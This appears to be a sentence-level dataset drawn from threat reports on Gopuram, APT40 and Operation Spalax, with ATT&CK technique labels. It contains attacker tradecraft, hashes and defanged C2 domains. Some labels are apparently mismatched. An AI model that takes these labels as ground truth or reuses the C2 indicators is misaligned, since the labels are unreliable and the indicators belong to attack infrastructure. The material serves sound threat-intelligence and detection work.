{"sentence": "Gopuram indicators of compromise MD5 hashes 9f85a07d4b4abff82ca18d990f062a84 96d3bbf4d2cf6bc452b53c67b3f2516a File paths C:\\Windows\\System32\\config\\TxR\\<machine hardware profile GUID>.TxR.0.regtrans-ms C:\\Windows\\system32\\catroot2\\edb.chk.log More indicators of compromise and YARA rules for detecting Gopuram components are available for TIP subscribers.", "labels": [], "doc_title": "Not just an infostealer Gopuram backdoor deployed through 3CX supply chain attack"}
{"sentence": "Contact intelreports@kaspersky.com for more details.", "labels": [], "doc_title": "Not just an infostealer Gopuram backdoor deployed through 3CX supply chain attack"}
{"sentence": "This advisory provides APT40’s tactics, techniques, and procedures (TTPs) and indicators of compromise (IOCs) to help cybersecurity practitioners identify and remediate APT40 intrusions and established footholds.", "labels": [], "doc_title": "AA21200A Tactics Techniques and Procedures of Indicted APT40 Actors Associated with Chinas MSS Hainan State Security Department"}
{"sentence": "APT40—aka BRONZE MOHAWK, FEVERDREAM, G0065, Gadolinium, GreenCrash, Hellsing, Kryptonite Panda, Leviathan, MUDCARP, Periscope, Temp.", "labels": [], "doc_title": "AA21200A Tactics Techniques and Procedures of Indicted APT40 Actors Associated with Chinas MSS Hainan State Security Department"}
{"sentence": "Periscope, and Temp.", "labels": [], "doc_title": "AA21200A Tactics Techniques and Procedures of Indicted APT40 Actors Associated with Chinas MSS Hainan State Security Department"}
{"sentence": "Jumper—is located in Haikou, Hainan Province, People’s Republic of China (PRC), and has been active since at least 2009.", "labels": [], "doc_title": "AA21200A Tactics Techniques and Procedures of Indicted APT40 Actors Associated with Chinas MSS Hainan State Security Department"}
{"sentence": "APT40 has targeted governmental organizations, companies, and universities in a wide range of industries—including biomedical, robotics, and maritime research—across the United States, Canada, Europe, the Middle East, and the South China Sea area, as well as industries included in China’s Belt and Road Initiative.", "labels": [], "doc_title": "AA21200A Tactics Techniques and Procedures of Indicted APT40 Actors Associated with Chinas MSS Hainan State Security Department"}
{"sentence": "On July 19, 2021, the U.S. Department of Justice (DOJ) unsealed an indictment against four APT40 cyber actors for their illicit computer network exploitation (CNE) activities via front company Hainan Xiandun Technology Development Company (Hainan Xiandun).", "labels": [], "doc_title": "AA21200A Tactics Techniques and Procedures of Indicted APT40 Actors Associated with Chinas MSS Hainan State Security Department"}
{"sentence": "Hainan Xiandun employee Wu Shurong cooperated with and carried out orders from PRC Ministry of State Security (MSS) Hainan State Security Department (HSSD) intelligence officers Ding Xiaoyang, Zhu Yunmin, and Cheng Qingmin to conduct CNE.", "labels": [], "doc_title": "AA21200A Tactics Techniques and Procedures of Indicted APT40 Actors Associated with Chinas MSS Hainan State Security Department"}
{"sentence": "Wu’s CNE activities resulted in the theft of trade secrets, intellectual property, and other high-value information from companies and organizations in the United States and abroad, as well as from multiple foreign governments.", "labels": [], "doc_title": "AA21200A Tactics Techniques and Procedures of Indicted APT40 Actors Associated with Chinas MSS Hainan State Security Department"}
{"sentence": "These MSS-affiliated actors targeted victims in the following industries: academia, aerospace/aviation, biomedical, defense industrial base, education, government, healthcare, manufacturing, maritime, research institutes, and transportation (rail and shipping).", "labels": [], "doc_title": "AA21200A Tactics Techniques and Procedures of Indicted APT40 Actors Associated with Chinas MSS Hainan State Security Department"}
{"sentence": "Click here for a PDF version of this report.", "labels": [], "doc_title": "AA21200A Tactics Techniques and Procedures of Indicted APT40 Actors Associated with Chinas MSS Hainan State Security Department"}
{"sentence": "(Updated July 19, 2021) Click here for indicators of compromise (IOCs) in STIX format.", "labels": [], "doc_title": "AA21200A Tactics Techniques and Procedures of Indicted APT40 Actors Associated with Chinas MSS Hainan State Security Department"}
{"sentence": "Note: to uncover malicious activity, incident responders search for IOCs in network- and host-based artifacts and assess the results—eliminating false positives during the assessment.", "labels": [], "doc_title": "AA21200A Tactics Techniques and Procedures of Indicted APT40 Actors Associated with Chinas MSS Hainan State Security Department"}
{"sentence": "For example, some MD5 IOCs in the STIX file identify legitimate tools—such as Putty, cmd.exe, svchost.exe, etc.—as indicators of compromise.", "labels": [], "doc_title": "AA21200A Tactics Techniques and Procedures of Indicted APT40 Actors Associated with Chinas MSS Hainan State Security Department"}
{"sentence": "Although the tools themselves are not malicious, APT 40 attackers placed and used them from non-standard folders on victim systems during computer intrusion activity.", "labels": ["T1105"], "doc_title": "AA21200A Tactics Techniques and Procedures of Indicted APT40 Actors Associated with Chinas MSS Hainan State Security Department"}
{"sentence": "If a legitimate tool is identified by an incident responder, then the location of the tool should be assessed to eliminate false positives or uncover malicious activity.", "labels": [], "doc_title": "AA21200A Tactics Techniques and Procedures of Indicted APT40 Actors Associated with Chinas MSS Hainan State Security Department"}
{"sentence": "See Technical Approaches to Uncovering and Remediating Malicious Activity for more incident handling guidance.", "labels": [], "doc_title": "AA21200A Tactics Techniques and Procedures of Indicted APT40 Actors Associated with Chinas MSS Hainan State Security Department"}
{"sentence": "Technical DetailsThis Joint Cybersecurity Advisory uses the MITRE ATT&CK:registered: framework, version 9.", "labels": [], "doc_title": "AA21200A Tactics Techniques and Procedures of Indicted APT40 Actors Associated with Chinas MSS Hainan State Security Department"}
{"sentence": "See the ATT&CK for Enterprise framework for all referenced threat actor tactics and techniques.", "labels": [], "doc_title": "AA21200A Tactics Techniques and Procedures of Indicted APT40 Actors Associated with Chinas MSS Hainan State Security Department"}
{"sentence": "APT40", "labels": [], "doc_title": "AA21200A Tactics Techniques and Procedures of Indicted APT40 Actors Associated with Chinas MSS Hainan State Security Department"}
{"sentence": "[G0065] has used a variety of tactics and techniques and a large library of custom and open-source malware—much of which is shared with multiple other suspected Chinese groups—to establish initial access via user and administrator credentials, enable lateral movement once inside the network, and locate high value assets in order to exfiltrate data.", "labels": ["T1005", "T1078"], "doc_title": "AA21200A Tactics Techniques and Procedures of Indicted APT40 Actors Associated with Chinas MSS Hainan State Security Department"}
{"sentence": "Note: see the appendix for a list of the domains, file names, and malware MD5 hash values used to facilitate this activity.", "labels": [], "doc_title": "AA21200A Tactics Techniques and Procedures of Indicted APT40 Actors Associated with Chinas MSS Hainan State Security Department"}
{"sentence": "ATT&CK Tactics and Techniques Tactics Activities and Techniques Reconnaissance [TA0043] and Resource Development [TA0042] Gathered victim identity information [T1589] by collecting compromised credentials [T1589.001] Acquire infrastructure", "labels": [], "doc_title": "AA21200A Tactics Techniques and Procedures of Indicted APT40 Actors Associated with Chinas MSS Hainan State Security Department"}
{"sentence": "[T1583] to establish domains that impersonate legitimate entities [T1583.001], aka ‘typosquatting’, to use in watering hole attacks and as command and control (C2)", "labels": [], "doc_title": "AA21200A Tactics Techniques and Procedures of Indicted APT40 Actors Associated with Chinas MSS Hainan State Security Department"}
{"sentence": "[TA0011] infrastructure Establish new [T1585.002] and compromise existing [T1586.002] email and social media accounts", "labels": [], "doc_title": "AA21200A Tactics Techniques and Procedures of Indicted APT40 Actors Associated with Chinas MSS Hainan State Security Department"}
{"sentence": "[1585.001] to conduct social engineering attacks Initial Access", "labels": [], "doc_title": "AA21200A Tactics Techniques and Procedures of Indicted APT40 Actors Associated with Chinas MSS Hainan State Security Department"}
{"sentence": "[VPN] services)", "labels": [], "doc_title": "AA21200A Tactics Techniques and Procedures of Indicted APT40 Actors Associated with Chinas MSS Hainan State Security Department"}
{"sentence": "[T1133] Spearphishing emails with malicious attachments [T1566.001] and links [T1566.002] Drive-by compromises", "labels": ["T1566.001"], "doc_title": "AA21200A Tactics Techniques and Procedures of Indicted APT40 Actors Associated with Chinas MSS Hainan State Security Department"}
{"sentence": "[T1078], compromised administrative [T1078.001] accounts Execution", "labels": ["T1078"], "doc_title": "AA21200A Tactics Techniques and Procedures of Indicted APT40 Actors Associated with Chinas MSS Hainan State Security Department"}
{"sentence": "[TA0002] Command and scripting interpreters", "labels": [], "doc_title": "AA21200A Tactics Techniques and Procedures of Indicted APT40 Actors Associated with Chinas MSS Hainan State Security Department"}
{"sentence": "[T1059] such as PowerShell [T1059.001] Exploitation of software vulnerabilities in client applications to execute code", "labels": [], "doc_title": "AA21200A Tactics Techniques and Procedures of Indicted APT40 Actors Associated with Chinas MSS Hainan State Security Department"}
{"sentence": "[T1203] using lure documents that dropped malware exploiting various Common Vulnerabilities and Exposures (CVEs)", "labels": ["T1204.002"], "doc_title": "AA21200A Tactics Techniques and Procedures of Indicted APT40 Actors Associated with Chinas MSS Hainan State Security Department"}
{"sentence": "User execution", "labels": ["T1204.002"], "doc_title": "AA21200A Tactics Techniques and Procedures of Indicted APT40 Actors Associated with Chinas MSS Hainan State Security Department"}
{"sentence": "[T1204] of malicious files [T1204.002] and links", "labels": ["T1204.002"], "doc_title": "AA21200A Tactics Techniques and Procedures of Indicted APT40 Actors Associated with Chinas MSS Hainan State Security Department"}
{"sentence": "[T1566.002] attached to spearphishing emails [T1566.001] Persistence [TA0003], Privilege Escalation [TA0004], Credential Access", "labels": ["T1566.001"], "doc_title": "AA21200A Tactics Techniques and Procedures of Indicted APT40 Actors Associated with Chinas MSS Hainan State Security Department"}
{"sentence": "[TA0006], Discovery [TA0007], and Lateral Movement", "labels": [], "doc_title": "AA21200A Tactics Techniques and Procedures of Indicted APT40 Actors Associated with Chinas MSS Hainan State Security Department"}
{"sentence": "[S0233] NanHaiShu [S0228] Orz/AirBreak [S0229] PowerShell Empire", "labels": [], "doc_title": "AA21200A Tactics Techniques and Procedures of Indicted APT40 Actors Associated with Chinas MSS Hainan State Security Department"}
{"sentence": "[S0194] Server software component: Web Shell [TA1505.003] Defense Evasion", "labels": [], "doc_title": "AA21200A Tactics Techniques and Procedures of Indicted APT40 Actors Associated with Chinas MSS Hainan State Security Department"}
{"sentence": "[TA0005], Command and Control", "labels": [], "doc_title": "AA21200A Tactics Techniques and Procedures of Indicted APT40 Actors Associated with Chinas MSS Hainan State Security Department"}
{"sentence": "[TA0011], Collection [TA0009], and Exfiltration [TA0010] Use of steganography [T1027.003] to hide stolen data inside other files stored on GitHub Protocol impersonation", "labels": ["T1027"], "doc_title": "AA21200A Tactics Techniques and Procedures of Indicted APT40 Actors Associated with Chinas MSS Hainan State Security Department"}
{"sentence": "[T1001.003] by using Application Programming Interface (API) keys for Dropbox accounts in commands to upload stolen data to make it appear that the activity was a legitimate use of the Dropbox service Protocol tunneling [T1572] and multi-hop proxies", "labels": ["T1090"], "doc_title": "AA21200A Tactics Techniques and Procedures of Indicted APT40 Actors Associated with Chinas MSS Hainan State Security Department"}
{"sentence": "[T1090.003], including the use of Tor [S0183] Use of domain typosquatting for C2 infrastructure [T1583.001] Archive [T1560], encrypt [T1532], and stage collected data locally", "labels": ["T1074.001"], "doc_title": "AA21200A Tactics Techniques and Procedures of Indicted APT40 Actors Associated with Chinas MSS Hainan State Security Department"}
{"sentence": "The following guidance may assist organizations in developing network defense procedures.", "labels": [], "doc_title": "AA21200A Tactics Techniques and Procedures of Indicted APT40 Actors Associated with Chinas MSS Hainan State Security Department"}
{"sentence": "Patch and Vulnerability Management Install vendor-provided and verified patches on all systems for critical vulnerabilities, prioritizing timely patching of internet-connected servers and software processing internet data—such as web browsers, browser plugins, and document readers.", "labels": [], "doc_title": "AA21200A Tactics Techniques and Procedures of Indicted APT40 Actors Associated with Chinas MSS Hainan State Security Department"}
{"sentence": "Ensure proper migrating steps or compensating controls are implemented for vulnerabilities that cannot be patched in a timely manner.", "labels": [], "doc_title": "AA21200A Tactics Techniques and Procedures of Indicted APT40 Actors Associated with Chinas MSS Hainan State Security Department"}
{"sentence": "Routinely audit configuration and patch management programs to ensure the ability to track and mitigate emerging threats.", "labels": [], "doc_title": "AA21200A Tactics Techniques and Procedures of Indicted APT40 Actors Associated with Chinas MSS Hainan State Security Department"}
{"sentence": "Protect Credentials Strengthen credential requirements, regularly change passwords, and implement multi-factor authentication to protect individual accounts, particularly for webmail and VPN access and for accounts that access critical systems.", "labels": [], "doc_title": "AA21200A Tactics Techniques and Procedures of Indicted APT40 Actors Associated with Chinas MSS Hainan State Security Department"}
{"sentence": "Do not reuse passwords for multiple accounts.", "labels": [], "doc_title": "AA21200A Tactics Techniques and Procedures of Indicted APT40 Actors Associated with Chinas MSS Hainan State Security Department"}
{"sentence": "Detect mismatches by correlating credentials used within internal networks with those employed on external-facing systems.", "labels": [], "doc_title": "AA21200A Tactics Techniques and Procedures of Indicted APT40 Actors Associated with Chinas MSS Hainan State Security Department"}
{"sentence": "Log use of system administrator commands such as net, ipconfig, and ping.", "labels": [], "doc_title": "AA21200A Tactics Techniques and Procedures of Indicted APT40 Actors Associated with Chinas MSS Hainan State Security Department"}
{"sentence": "Network Hygiene and Monitoring Actively scan and monitor internet-accessible applications for unauthorized access, modification, and anomalous activities.", "labels": [], "doc_title": "AA21200A Tactics Techniques and Procedures of Indicted APT40 Actors Associated with Chinas MSS Hainan State Security Department"}
{"sentence": "Actively monitor server disk use and audit for significant changes.", "labels": [], "doc_title": "AA21200A Tactics Techniques and Procedures of Indicted APT40 Actors Associated with Chinas MSS Hainan State Security Department"}
{"sentence": "Log Domain Name Service (DNS) queries and consider blocking all outbound DNS requests that do not originate from approved DNS servers.", "labels": [], "doc_title": "AA21200A Tactics Techniques and Procedures of Indicted APT40 Actors Associated with Chinas MSS Hainan State Security Department"}
{"sentence": "Monitor DNS queries for C2 over DNS.", "labels": [], "doc_title": "AA21200A Tactics Techniques and Procedures of Indicted APT40 Actors Associated with Chinas MSS Hainan State Security Department"}
{"sentence": "Develop and monitor the network and system baselines to allow for the identification of anomalous activity.", "labels": [], "doc_title": "AA21200A Tactics Techniques and Procedures of Indicted APT40 Actors Associated with Chinas MSS Hainan State Security Department"}
{"sentence": "Audit logs for suspicious behavior.", "labels": [], "doc_title": "AA21200A Tactics Techniques and Procedures of Indicted APT40 Actors Associated with Chinas MSS Hainan State Security Department"}
{"sentence": "Identify and suspend access of users exhibiting unusual activity.", "labels": [], "doc_title": "AA21200A Tactics Techniques and Procedures of Indicted APT40 Actors Associated with Chinas MSS Hainan State Security Department"}
{"sentence": "Use allowlist or baseline comparison to monitor Windows event logs and network traffic to detect when a user maps a privileged administrative share on a Windows system.", "labels": [], "doc_title": "AA21200A Tactics Techniques and Procedures of Indicted APT40 Actors Associated with Chinas MSS Hainan State Security Department"}
{"sentence": "Leverage multi-sourced threat-reputation services for files, DNS, URLs, IP addresses, and email addresses.", "labels": [], "doc_title": "AA21200A Tactics Techniques and Procedures of Indicted APT40 Actors Associated with Chinas MSS Hainan State Security Department"}
{"sentence": "Network device management interfaces—such as Telnet, Secure Shell (SSH), Winbox, and HTTP—should be turned off for wide area network (WAN) interfaces and secured with strong passwords and encryption when enabled.", "labels": ["T1027"], "doc_title": "AA21200A Tactics Techniques and Procedures of Indicted APT40 Actors Associated with Chinas MSS Hainan State Security Department"}
{"sentence": "Use strict access control measures for critical data.", "labels": [], "doc_title": "AA21200A Tactics Techniques and Procedures of Indicted APT40 Actors Associated with Chinas MSS Hainan State Security Department"}
{"sentence": "APPENDIX:", "labels": [], "doc_title": "AA21200A Tactics Techniques and Procedures of Indicted APT40 Actors Associated with Chinas MSS Hainan State Security Department"}
{"sentence": "APT40 Indicators of Compromise APT40 used the following domains, file names, and malware MD5 hash values to facilitate the CNE activity outlined in this CSA between 2009 through 2018.", "labels": [], "doc_title": "AA21200A Tactics Techniques and Procedures of Indicted APT40 Actors Associated with Chinas MSS Hainan State Security Department"}
{"sentence": "67dbecfb5e0f2f729e57d0f1eda82c67 685cbba8cf2584a3378d82dec65aa0bb", "labels": [], "doc_title": "AA21200A Tactics Techniques and Procedures of Indicted APT40 Actors Associated with Chinas MSS Hainan State Security Department"}
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f172ad4e906d97ed8f071896fc6789dc f2b6bffa2c22420c0b1c848b673055ed f446d8808a14649bddcc412f9e754890 f4dbe32f3505bc17364e2b125f8dd6df f4dd628f6c0bc2472d29c796ee38bf46 f4e67343e13c37449ada7335b9c53dd1 f53e332b0a6dbe8d8d3177e93b70cb1e f5ae03de0ad60f5b17b82f2cd68402fe f5ce889a1fa751b8fd726994cdb8f97e f5fdbfce1a5d2c000c266f4cd180a78d f7202dea71cc638e0c2dbeb92c2ce279 f7cef381c4ee3704fc8216f00f87552a f7ffbbbc68aadcbfbace55c58b6da0a7 f8b91554d221fe8ef4a4040e9516f919 f906571d719828f0f4b6212fc2aa7705 f9155052a43832061357c23de873ff9f f9abacc459e5d50d8582e8c660752c4e f9f608407d551f49d632bd6bd5bd7a56 f9fc9359dc5d1d0ac754b12efb795f79 fa27742b87747e64c8cb0d54aa70ef98 fa3c8d91ef4a8b245033ddb9aa3054a2 fad93907d5587eb9e0d8ebc78a5e19c2 Contact Information To report suspicious or criminal activity related to information found in this Joint Cybersecurity Advisory, contact your local FBI field office at www.fbi.gov/contact-us/field, or the FBI’s 24/7 Cyber Watch (CyWatch) at (855) 292-3937 or by email at CyWatch@fbi.gov.", "labels": [], "doc_title": "AA21200A Tactics Techniques and Procedures of Indicted APT40 Actors Associated with Chinas MSS Hainan State Security Department"}
{"sentence": "When available, please include the following information regarding the incident: date, time, and location of the incident; type of activity; number of people affected; type of equipment used for the activity; the name of the submitting company or organization; and a designated point of contact.", "labels": [], "doc_title": "AA21200A Tactics Techniques and Procedures of Indicted APT40 Actors Associated with Chinas MSS Hainan State Security Department"}
{"sentence": "To request incident response resources or technical assistance related to these threats, contact CISA at CISAServiceDesk@cisa.dhs.gov. References DOJ Press Release Talos Intelligence:", "labels": [], "doc_title": "AA21200A Tactics Techniques and Procedures of Indicted APT40 Actors Associated with Chinas MSS Hainan State Security Department"}
{"sentence": "China Chopper Still Active", "labels": [], "doc_title": "AA21200A Tactics Techniques and Procedures of Indicted APT40 Actors Associated with Chinas MSS Hainan State Security Department"}
{"sentence": "9 Years Later CISA China Cyber Threat Overview webpage CISA Alert TA15-314A: Compromised Web Servers and Web Shells - Threat Awareness and Guidance CISA Alert AA20-133A: Top 10 Routinely Exploited Vulnerabilities CISA Alert AA20-275A:", "labels": [], "doc_title": "AA21200A Tactics Techniques and Procedures of Indicted APT40 Actors Associated with Chinas MSS Hainan State Security Department"}
{"sentence": "Potential for China Cyber Response to Heightened U.S.-China Tensions NSA Cybersecurity Advisory U/OO/179811-20: Chinese State-Sponsored Actors Exploit Publicly Known Vulnerabilities Revisions July 19, 2021:", "labels": [], "doc_title": "AA21200A Tactics Techniques and Procedures of Indicted APT40 Actors Associated with Chinas MSS Hainan State Security Department"}
{"sentence": "Operation Spalax:", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "These attacks are still ongoing at the time of writing and are focused on both government institutions and private companies.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "The attackers rely on the use of remote access trojans, most likely to spy on their victims.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "They have a large network infrastructure for command and control: ESET observed at least 24 different IP addresses in use in the second half of 2020.", "labels": ["T1090"], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "These are probably compromised devices that act as proxies for their C&C servers.", "labels": ["T1090"], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "This, combined with the use of dynamic DNS services, means that their infrastructure never stays still.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "We have seen at least 70 domain names active in this timeframe", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "The attackers The attacks we saw in 2020 share some TTPs with previous reports about groups targeting Colombia, but also differ in many ways, thus making attribution difficult.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "One of those reports was published in February 2019, by QiAnXin researchers.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "The operations described in that blogpost are connected to an APT group active since at least April 2018.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "These files have fewer than a dozen sightings each.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "Some of the phishing emails from the current campaign were sent from IP addresses corresponding to a range that belongs to Powerhouse Management, a VPN service.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "The same IP address range was used for emails sent in the earlier campaign.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "The phishing emails have similar topics and pretend to come from some of the same entities – for example, the Office of the Attorney General (Fiscalia General de la Nacion) or the National Directorate of Taxes and Customs (DIAN).", "labels": ["T1566.001"], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "Some of the C&C servers in Operation Spalax use linkpc.net and publicvm.com subdomains, along with IP addresses that belong to Powerhouse Management.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "This also happened in the earlier campaign.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "However, there are differences in the attachments used for phishing emails, the remote access trojans (RATs) used and in most of the operator’s C&C infrastructure.", "labels": ["T1566.001"], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "There are similarities between the phishing emails and parts of the network infrastructure in that campaign and the one we describe here.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "The attacks described in that article were connected to cybercrime, not espionage.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "These threat actors show perfect usage of the Spanish language in the emails they send, they only target Colombian entities, and they use premade malware and don’t develop any themselves.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "In most cases, these emails have a PDF document attached, which contains a link that the user must click to download the malware.", "labels": ["T1204.002", "T1566.001"], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "The downloaded files are regular RAR archives that have an executable file inside.", "labels": ["T1027"], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "The target has to manually extract the file and execute it for the malware to run.", "labels": ["T1204.002"], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "We’ve found a variety of packers used for these executables, but their purpose is always to have a remote access trojan running on the victimized computer, usually by decrypting the payload and injecting it into legitimate processes.", "labels": ["T1027", "T1055", "T1140"], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "We have seen the attackers use three different RATs: Remcos, njRAT and AsyncRAT. Figure 1.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "Overview of the attack Phishing emails The attackers use various topics for their emails, but in most cases they are not specially crafted for their victims.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "We found phishing emails with these topics: A notification about a driving infraction A notification to take a mandatory COVID-19 test A notification to attend a court hearing An open investigation against the recipient for misuse of public funds A notification of an embargo of bank accounts The email shown in Figure 2 pretends to be a notification about a driving infraction for a value of around US$250.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "There is a PDF file attached that promises a photo of the infraction, as well as information about time and place of the incident.", "labels": ["T1566.001"], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "The sender has been spoofed to make the email look like it is coming from SIMIT (a system for paying transit violations in Colombia).", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "Example of a phishing email The pdf file only contains an external link that has been shortened with the acortaurl service, as shown in Figure 3.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "The shortened URL is: https://acortaurl[.]com/httpsbogotagovcohttpsbogotagovcohttpsbogotagovco.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "After the shortened link is expanded, a RAR archive is downloaded from: http://www.mediafire[.]com/file/wbqg7dt604uwgza/SIMITcomparendoenlineasimitnumeroreferenciaComparendo2475569.uue/file.", "labels": ["T1027"], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "PDF attached to phishing email Figure 4 shows part of the email’s header.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "The spoofed sender is notificacionesmultas@simit.org[.]co but we can see that the real sender is IP address 128.90.108[.]177, which is connected with the domain name julian.linkpc[.]net, as found in historic DNS data.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "It’s not a coincidence that the same domain name is used for contacting the C&C server in the malicious sample contained in the RAR archive.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "This IP address belongs to Powerhouse Management, a VPN service provider.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "Also, in some cases the GetResponse service has been used to send the email.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "This is probably done to track whether the victim has clicked on the link.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "NSIS installers The dropper that is most commonly used by these attackers comes as a file that was compiled with NSIS (Nullsoft Scriptable Install System).", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "To try to evade detection, this installer contains several benign files that are written to disk (they are not part of NSIS binaries and they are not used at all by the installer) and two files that are malicious: an encrypted RAT executable and a DLL file that decrypts and runs the trojan.", "labels": ["T1027"], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "An NSIS script for one of these installers is shown in Figure 14.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "The benign files are usually different in different droppers used by the attackers.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "NSIS script for one of the droppers; the malicious files are highlighted The files Bonehead (encrypted RAT) and ShoonCataclysm.dll (dropper DLL) are written in the same folder and the DLL is run with rundll32.exe using Uboats as its argument.", "labels": ["T1218.011"], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "Some more examples are: rundll32.exe", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "We used the name of the benign files contained in some of these NSIS installers to find more malicious installers used by the Spalax operators.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "Table 1 lists details of three different NSIS installers used by the attackers that contained all the same benign files.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "The only difference among them was the encrypted file, which pointed to different C&C servers.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "NSIS installers with identical benign files used by this group SHA-1C&C", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "6E81343018136B271D1F95DB536CA6B2FD1DFCD6marzoorganigrama20202020.duckdns[.]org 7EDB738018E0E91C257A6FC94BDBA50DAF899F90ruthy.qdp6fj1uji[.]xyz 812A407516F9712C80B70A14D6CDF282C88938C1dominoduck2098.duckdns[.]org", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "However, we also found malicious NSIS installers used by other unrelated groups that had the same benign files as the ones used by this group.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "Figure 15 lists the files contained in two different NSIS installers.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "However, the encrypted file Bonehead is different.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "There is also an article by Lab52 describing one of the NSIS installers used in Operation Spalax, which they attribute to APT-C-36.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "These will be described later in the Payloads section.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "Even though there are differences in all the samples regarding the layers of encryption, obfuscation or anti-analysis used, we can summarize the actions taken by the droppers as follows: The dropper reads a string (or binary data) from its resource section and decrypts it.", "labels": ["T1027", "T1140"], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "The DLL reads pixels from an image contained in the first binary and decrypts another executable.", "labels": ["T1027", "T1140"], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "There are anti-analysis checks; if they pass, the payload can be injected into a new process or loaded in the same process space.", "labels": ["T1055"], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "The initial dropper is coded in C#.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "The benign code is not executed; it’s there to evade detection.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "In Figure 16 we see an example of the resources contained in one of these droppers.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "The text in green (only shown partially) is a string that will be decrypted to generate the next stage to be executed and the image that we see below the green text will be decrypted by the second stage malware.", "labels": ["T1140"], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "The algorithm used for decryption of the string varies from sample to sample, but sometimes the resource is just an unencrypted binary.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "Figure 16.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "Resources contained in Agent Tesla’s packer", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "The method to be executed in the DLL is always named StartGame or StartUpdate.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "After that, the array is gzip-decompressed and executed.", "labels": ["T1027"], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "Part of the code for the mentioned operations is shown in Figure 17. Figure 17.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
